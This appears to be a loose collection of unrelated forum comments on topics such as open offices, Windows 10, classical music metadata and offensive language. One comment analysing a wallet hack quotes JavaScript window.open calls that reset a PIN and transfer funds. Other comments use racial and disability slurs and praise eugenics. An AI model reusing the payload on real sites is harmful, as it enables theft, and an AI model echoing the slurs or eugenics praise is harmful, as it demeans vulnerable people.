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> If you make it safe, you kill the fun.

It puts a damper on things when someone drowns too.
People who don't know what they're talking about might make incorrect assumptions. I agree with you there. I don't think ignorance of a topic is a valid excuse to continue to be wrong.

http://ldaamerica.org/types-of-learning-disabilities/dyslexi...

From the "Learning Disabilities Association of America"

> The severity of this specific learning disability can differ in each individual but can affect reading fluency, decoding, reading comprehension, recall, writing, spelling, and sometimes speech and can exist along with other related disorders. Dyslexia is sometimes referred to as a Language-Based Learning Disability.

From a US university support site: http://dyslexiahelp.umich.edu/dyslexics/learn-about-dyslexia...

> Fact: Similar to the above myth, the International Dyslexia Foundation states that between 15% and 20% of the population have a language-based learning disability, dyslexia being the most common of these. The United States Department of Health and Human Services estimates that 15% of the U.S. population has dyslexia.

The fact you think LD is "my term" shows how ignorant you are of the topic. The fact you think dyslexia isn't an LD also shows your ignorance of the topic.

EDIT: since this thread is about the word "retard" it's probably relevant to remind people about how people with dyslexia were often dismissed as being stupid, lazy, retarded.
I had exactly this prblem when I signed up to Qobuz yesterday. Just as the author did, I typed in 'Mozart magic Flute' and got all kind of crap back in no specific order. They did however allow me to select a specific CD and sort of 'save' that.

'Brahms Clarinet' didnt do well at all.

Metatdata designed for pop / rock doesn't work for classical.

I cancelled my Qobuz sub after a few hours on the basis that they didn't even TRY to solve this problem.
And if you say there's been no global impact by mpesa .... then you need to learn a thing about emerging markets.
Sure it is a choice. You absolutely need the DVD player...don't upgrade now. Maybe by the time you need it, the functionality will be restored. Regardless, it is a choice you can make. Don't be entitled.
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You're right I should have looked at the website before posting.
I know you're joking, but your Mac, even without an optical drive, will still play a DVD if you connect a drive (networked, USB etc).
People getting offended is not the issue. If everyone chose to never offend anybody else, my mother would never know that she makes bad pasta and we'd all have to eat bad pasta 3 times a week.

You want to draw the line at marginalizing a group of people or trivializing something serious like racism. But you want to make sure you are doing it in a way that isn't inhibiting legitimate thoughts, studies, projects, etc. from making it into the public sphere.

Every time you censor speech you stifle legitimate dialog because people will be uncertain whether their thoughts are legitimate or just offensive.
Watched the video - looks potentially helpful. Signed up for early access. So is this already built or are you testing the waters to see whether you should build it?
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> Aren't there times where his judgement might be clouded or controllers better informed ?

Sure, and the same could be said of the ATC. But the ATC never has direct control of an aircraft, unlike the pilot.
> You might overhear things that are also relevant for you.

The key word is might. I remember a similar HN discussion a few months back someone mentioned that because they happened to overhear a conversation between two engineers they were able to save weeks of them working on the wrong thing.

Anecdotes like that aren't signs that open offices are successful or result in "having good communication" - it means you have horrible communication and you got lucky. What if that conversation happened while the person who serendipitously overheard it was in the bathroom? Or on vacation? Or in a meeting? Or wearing headphones? Good communication means not relying on chance to prevent engineers from wasting their time.
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I don't know. Scott Adams, the creator of Dilbert, often writes about how minorities should just work harder, stop complaining, and move some where else. But he even posted a piece about the times he thinks he benefited from being white.

http://blog.dilbert.com/post/120696534086/the-time-i-scared-...
> I want my queries to always behave the same and fail without an index.

So I take it you are not using any kind of cache in your memory hierarchy?
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I think the McMansion idea is great.

I had a flashback of playing the board game Clue (http://www.hasbro.com/common/instruct/clue_%282002%29.pdf) with my siblings when I was younger. Specifically, I imagined a small team of developers in a large McMansion-Office trying to debug a large application saying things like, "I suggest the bug was commit'd in the kitchen, by Tom with his Custom Arch Laptop."
It is a private company, alright, but it is also becoming a critical company for the internet as a whole

Hardly. OSS was in a very healthy state before Github and it will manage just fine without it. I'm not saying Github doesn't add value - it absolutely does - but if it died tomorrow, I'd simply create an account at a different vendor, push my repos to it, and pick up the pieces from there.
This is also great if anyone is interested.

http://fabiensanglard.net/doom3/index.php
This sounds like a problem that could be easily solved through crowd sourcing.

1. Set up your metadata format with enough fields and flexibility.

2. Let your users help you fix your metadata, wiki style.

3. Profit
I think that depends what kind of introvert you are. I like big open offices because I feel "anonymous" there and it's very easy for me to disconnect from what's going on around me and do my own thing for hours, and then speak with anybody from my team when I need to. If there's some person around with whom you don't connect very well no bad atmosphere is going to occur unless you force it. I don't need a big bubble for myself, I can create a small one easily.

For me a small office with 2 or 3 people is more stressful, it makes me more aware about what's going on around me because it's a more personal space. If you don't connect with somebody in there, the bad atmosphere is going to fill the small office very fast. My bubble is going to trip onto somebody else's bubble more often than in a big space full of people because there's less neutral space around.

Not sure if that makes sense at all... but it does to me.
Words themselves have no meaning. The meaning is derived by the intention and context. It is perfectly correct to use nigger in some context. Just look at Louis CK or George Carlin. Actually George Carlin made a bit about the word nigger and he made pretty good arguments against the American obsession with "bad" words. The Americans have a very childish attitude towards this, I haven't seen any country were adults refer to words by their first letter.

As if somehow euphemism make everything ok, even though you say 'n$@!%r", you are still saying nigger.
This is a valid point. You can't really compare purposeful murders to accidental deaths.

It would be like comparing kids injured while jumping on a trampoline to kids injured while being beaten by an abusive adult.
As I've said elsewhere, current compilers are unlikely to do so. Current processors have too deep a pipeline to make it worth it.

But on an architecture with a short pipeline it can be worth it for a compiler to do so.

And it's simple, in theory if nothing else. Note that once result has a bit set, result cannot ever return to zero. Hence, if result has a bit set, one can return false immediately. And all of a sudden you lose the constant-time part.

As for how a current compiler could do so? Look at what happens if/when the loop is unrolled.

That current compilers don't tend to do this sort of optimization makes it only more dangerous - because people do not go back and re-examine old code nearly as often as they should. Much less check the assembly every time they update the compiler.
1. Obviously or there'd be a lawsuit. Not everything that is wrong or destructive is coded into law. Censorship as a concept exists outside of the law. All censorship, legal or not, should be strongly scrutinized.
Yep. And I was participating many years ago when we figured out a pragmatic way to handle the mapping between simple ID3 style fields and the complex needs of classical - so that non-classical aware media players were at least usable. I wrote the first draft of this: https://wiki.musicbrainz.org/Style/Classical

but I haven't looked at Musicbrainz for many years to see how the rules and tools have changed.

However - no-one else since has even tried to tackle this problem.
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And I would like to personally thank you for one of those. :)
I don't know why people install the Facebook app on their phone. You can't view stuff offline, meaning you might as well just go to m.facebook.com, the browsing experience is pretty similar AND you don't need to install that stupid messenger app AND they can't access stuff on your phone. They shouldn't, but the pessimist in me says they will.

Same with LinkedIn, who installs this crap? And why?

Of course, there's plenty of other crap on my phone that I've installed and is exposing me...
Oh as developers you better just get used to supporting DirectX 11, because a lot of people still don't want to be brute forced into these situations.
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The MacBook Pro I bought last year was the first that didn't have one. I seldom used Ethernet but I still miss it. Apple probably wouldn't use it but can't they develop a small connector for the next generation thin laptops? Microsoft Surface form factor is going to become prevalent in the PC world.
Just because you like it does not mean that a lot of people likes it. As to reflect to your "Fact"s:

"Fact" 0: In today's agility etc: this is mostly true for startups where you have a product owner who does not really know what he wants. If you use for example SCRUM you plan beforehand and you have an immutable sprint when you know what to work on thus you can work uninterrupted for 1-2 weeks then you can have a meeting to discuss the direction and have a retrospective + planning. The "work for 6 months in a basement" is an exaggeration and no one works like that today (except for the developer of Dwarf Fortress but it is another story). So the point is: you can be agile/rapid/do MVPs/etc and uninterrupted at the same time. I have done it at many companies so I know it works.

"Fact" 1: Distractions have nothing to do with culture. People in an open office distract you simply because your preferences does not match:

* switches off air conditioning

* bumps your chair because of small spaces

* turns on the lights (which you don't like)

just to name a few.
Another thing is that policies work in theory but in reality most people will think that their problem is more important than some policy and will go to your desk and ask about something (and in most cases the will know the answer when the have finished speaking). If you have a private office it acts as a barrier for such distractions.
My first thought was, "Wouldn't a folded beermat have sufficed?"
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> it's just pretty odd that such a comment sits at the very top of an enormous technology event.

What you call "an enormous technology event" I call a disaster, showing perfect "we don't care for the current users" attitude, even after the public demonstrated what it thinks about the "improvements" in Windows 8. The commenters here rightly point that the returned Start menu is even worse than it was during the tech preview. And I have actually paid for my copies of Ultimate and Pro with Media Center versions and I actually need the features I note are now quietly removed. It's your right that you don't need them, but I do need them and the people who consider installing 10 should know about it too.
I totally missed the concept of having high-level Controller-Views when I first started playing around with React. Just understanding the concept is only half the battle too; you have to have the self-control to keep lower-level components immutable using props and pass in the 'state' via the higher-level controller-views. Has anyone had experience with Flex and the Cairngorm Framework (from back in the day)? I find Flux borrows heavily from its design.
> That's definitely not normal.

You think? Sadly having fucked up middle ears isn't exactly fixable, it's something I can only make do with, so that didn't answer the question: how do you[0] handle employees who can't wear headphones when your[0] solution to noise issues is "just wear headphones"?

[0] this is a generic "you", I know the specific you is not the one who originally made this assertion.
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Depends where you are. In my house in Chicago next to some high rises I could see 200-300 access points. My own fully powered 802.11ac access point had a range of about 12 feet. Worked for some rooms, but not for others. And the signal was jumpy. Was super nice to have a hardwire at my desk so I could go full speed.
Thanks, this site is much more useful than the NYTimes article.
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Try using RedLogic. It's what Project: Red forked off of and provides better performance at the cost of, well, only having RP2's logic components.

(Or just update to 1.7. Most mods should update seamlessly.)
The problem I still have with the modals is the scrolling behavior. Aside from taking over the scroll event, which I do Not want to do, it seems if I want a modal to scroll without the background scrolling, the only way is to put a 'overflow: hidden' on the body tag. Anybody have a more clever way of doing this?
...sure, but freedom of 'using whatever source code hosting provider' is a different (legal) concept as 'freedom of speech'.
Right, just look in a mirror and hold up a ruler marked in mm.
> Detection tools and systems to track down international phone calls made inside North Korea are becoming increasingly accurate and more widespread, so calls must be kept under two minutes.

Could someone elaborate on this... keeping calls <2min to stop them being traced seems painfully Hollywood
Can't blame them, I certainly wouldn't want that crap on my site.
See Windows -> Security and Safety Features -> Device encryption
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Well the MacBook Pro's are ultra portable and super thin now. The laptop would probably have to be at least 20% thicker to make for enough room for an ethernet port. And since 90% of MBP Retina owners probably rarely if ever use ethernet, it's a good tradeoff to make. The Retina model is much lighter and easier to carry (especially with one hand) than it's predecessor.
Okay, so I hope others see your real motives.

Don't upgrade. You paid $0 for Windows 10, had absolutely no expectations about it when you apparently bought Windows 7, and now it's a "disaster" because an unused feature was openly and clearly removed. Give me a break.

This sort of "take a shit on everything" attitude is one of the worst facets of HN, and your comments in particular exemplify them. Don't upgrade. Move on.
> > Who decides what is and is not appropriate?
> Github does. That's how that works.

In practice, for Github and most companies, it is their customers who decide. Companies are beholden to their customer's for existence. That is why they pay so much for PR (trying to mold their customer's opinions into ones favorable to the company).
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The mur.al link leads to an empty page with a character encoding warning for me.
It's threads like these that remind me that reddit's ability to collapse entire threads is priceless.
> But no setup works for everyone.

Sure, but that doesn't mean you just choose whatever because it won't be best for everyone. You pick what will work best for most people, and studies consistently show that is not an open office layout.

> In today's age of agility, rapid development, minimum viable products, continuous deployment, and short iterations

Not every developer is writing code for a seed stage startup trying to get an MVP out the door. In fact, most aren't. For small/early-stage startups I totally think open offices make the most sense.

> Provide the team with good quality headphones

Headphones help decrease audio distractions, but not nearly as much as offices or cubicles. They don't do anything for visual distractions. And not everyone is able to use them (many people find the music as, or more, distracting than the audio distractions they're trying to avoid).
> When you use the word retard you dehumanise people with LD.

No. When I use the word "retard" I'm pointing out on a lack of mental ability demonstrated by a particular person. And I do not even want to discuss anything that contains the SJW newspeak like "dehumanise", "empower", "exclude" and all that crap.

> You contribute to a culture where it's okay to deny those people work; to segregate them in specialist housing; to deny them medical treatment; to kill them with lack of medical treatment.

Your imagination is likely boosted by an illegal substances abuse.

> It's a slippery slope to eugenics

Yes, another victim of the early SJWs. There is nothing wrong with the idea of eugenics per se, problems arise with its potential uses. I admire the eugenics efforts of Singapore, for example, and will be delighted to see where it all goes.

> and genocide to think otherwise.

It's a bullshit scaremongering to put these two words in one sentence.
Or upgrade and download VLC.
Other things I use all the time:

`openssl x509 -in $FILE -text | less`

https://lapo.it/asn1js

https://golang.org/pkg/crypto/x509/

https://github.com/agl/certificatetransparency
"Don't be entitled."

entitled -- to give (a person or thing) a title, right, or claim to something

I spent my money, I can be entitled. Besides this isn't just about libdvdcss. There are many withdrawn features and anti-features included.
It seems to me that they can do repeated measures (coinciding with updating street view). I'm more interested in how this will account for the fact that the monitor is on a car which is itself a source of pollution, no?
Pliny was trying to be comprehensive by communicating all that was believed about a subject, whether verified or not.

In fact, given the limitations on travel and communications at the time, it was rarely practical to confirm the stories communicated by people (sailors, for example) who had reported phenomena. Even things which are correct in his account were as difficult to verify as the untrue ones.

In the age of instantaneous communication, Buzzfeed authors can verify most things relatively simply, they just choose not to.
You are confusing and commingling git with Github. Even though one uses the other they are very much not the same thing conceptually or practically.
At first I thought this was some crazy low level hack since I saw all the hex code. But thats just a library used by the hacker (its not really part of the hack).

Scroll all the way to the bottom and you'll see the meat of it. Its a bunch of window.opens to certain urls that cause money to be transferred out of the wallets.

I'm not sure why they use window.open instead of AJAX requests. Is there something on Tor Browser that would prevent that?

window.open (url+"/startresetpin?action=askresetpinaction&controller=user&confirmed=true&confirm-submit=", "_blank");
window.open (url+"/resetpin?pin1=1111&pin2=1111&submit=Save", "_blank");
window.open (redirectUrl+"?action=send&amount=1&wait=1", "_blank");
window.open (redirectUrl+"?action=send&amount=0.01&wait=2", "_blank");

Edit: looks like that library isn't even used by the hack. Maybe its just there to dissuade onlookers from reading the code.
Re having a complete pre-built set: I hope we don't have to do that, tbh -- making your own cards is a crucial part of the learning process. I do think we need to explain that better, though.

As for demo cards: Absolutely! We need a better onboarding process.

Did you try it out? How did you find the card creation process?
> Consider a simple case of theft... Why is this wrong?

Theft is illegal. Wrong is a different topic.

> any distinction between government and organized crime quickly dissolves.

The difference between organized crime and government has nothing to do with rights. Think about the range of governments that exist.

> If you want the prosecutor to be able to cheaply lock up guilty people, ...

I haven't spelled it out, but the goal of the legal system is to separate the guilty from the innocent. Percentage of innocent punished, percentage of guilty freed, and cost are all factors for evaluating how well the system works.

Rights are a foundation for a legal system in the same way that religion is a foundation for a system of morality. That is, lots of people use them/it as a foundation, but that's neither necessary nor ideal.
i am interested in this query as well
Woah, did not expect a picture of an animal being bled out.
Says the account created 4 days ago in his 4th comment on the site. Hello Microsoft puppet?

It's still a disaster for me because of what was once called Metro. It's my own opinion, you can like it, no problem.
Are there good reasons to believe that "enterprise" hardware is more reliable in practice?

Anecdotally, most desktops I used lived much longer than most servers I worked woth. I know a Compaq desktop that worked as a server for 11 years. Still does. One hardware failure in that entire time. (Power supply.) Could be a result of lower workload, but still...
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Somewhere else in the thread it was mentioned it used the bios to determine if it had been activated on the computer. So I would think a mobo replacement would mess with the activation
I don't think that "rights" is the best framework for evaluating alternative systems. I still understand what you mean when you use the word, though, and obviously I do think the accused should receive fair trials.
I used React+Flux for a level editor for a game recently. It seemed to me like there was one or two too many levels of indirection.

Specifically, I'm not sure what problem the Dispatcher is actually solving. It seems to just add boilerplate and indirection for little benefit.
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I guess we'll have to agree to disagree. For me, attempting to whitewash something you don't agree with is censorship, and Merriam-Webster agrees with me, given their definition of "censor" means to suppress or delete anything considered objectionable (emphasis mine):

"Full Definition of CENSOR
transitive verb
: to examine in order to suppress or delete anything considered objectionable <censor the news>"[1]

[1] http://www.merriam-webster.com/dictionary/censoring